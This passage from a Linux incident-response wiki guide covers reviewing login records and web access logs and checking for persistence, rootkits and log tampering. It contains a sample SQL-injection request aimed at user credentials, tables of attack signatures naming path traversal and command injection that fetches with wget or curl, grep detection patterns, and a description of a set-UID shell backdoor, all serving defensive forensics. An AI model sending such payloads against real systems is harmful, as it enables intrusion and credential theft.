The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with the big picture, then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine before you trust them)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves someone &#039;&#039;tried&#039;&#039;. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (noisy: review, don&#039;t assume)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0: should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence: a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;, not a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, not the main method. Treat their output as leads:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof of health.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
